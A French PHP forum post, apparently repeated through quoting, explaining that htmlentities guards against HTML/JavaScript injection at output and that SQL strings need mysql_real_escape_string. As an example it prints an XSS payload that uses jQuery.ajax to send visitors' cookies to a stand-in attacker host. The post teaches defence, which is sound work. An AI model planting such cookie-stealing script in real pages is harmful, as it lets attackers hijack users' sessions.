12-04-2010, 10:15 AM
(Modification du message : 12-04-2010, 12:40 PM par Sephi-Chan.)
Si il y a une fuite d'eau chez toi, vas-tu faire raser ta maison ? Non. Pourtant ce serait une solution…
Ça peut marcher mais ce n'est pas son but. Il ne faut pas l'utiliser comme ça.
HTML entities est — comme son nom l'indique — fait pour convertir certains symboles en leur entité HTML équivalente. Ça vise à empêcher l'injection de code HTML (et Javascript, du coup) arbitraire. C'est vraiment à utiliser en sortie, à l'affichage, pour éviter qu'un petit malin fasse des trucs comme :
<script type="text/javascript">
jQuery.ajax({
type: 'GET',
url: 'http://je-recupere-les-sessions-de-tes-utilisateurs.com/receive_cookies.php',
data: getCookies()
});
</ script>
Il faut utiliser les choses pour ce pour quoi elles sont faîtes.
Ici, le but du cast en entier est juste de s'assurer qu'on a bien un entier là où on en attend un. Et effectivement, le sprintf() se charge d'effectuer le cast. Pour les chaînes, si on en est à utiliser les fonction mysql_*, alors on utilisera mysql_real_escape_string().
Sephi-Chan
Ça peut marcher mais ce n'est pas son but. Il ne faut pas l'utiliser comme ça.
HTML entities est — comme son nom l'indique — fait pour convertir certains symboles en leur entité HTML équivalente. Ça vise à empêcher l'injection de code HTML (et Javascript, du coup) arbitraire. C'est vraiment à utiliser en sortie, à l'affichage, pour éviter qu'un petit malin fasse des trucs comme :
<script type="text/javascript">
jQuery.ajax({
type: 'GET',
url: 'http://je-recupere-les-sessions-de-tes-utilisateurs.com/receive_cookies.php',
data: getCookies()
});
</ script>
Il faut utiliser les choses pour ce pour quoi elles sont faîtes.
Ici, le but du cast en entier est juste de s'assurer qu'on a bien un entier là où on en attend un. Et effectivement, le sprintf() se charge d'effectuer le cast. Pour les chaînes, si on en est à utiliser les fonction mysql_*, alors on utilisera mysql_real_escape_string().
Sephi-Chan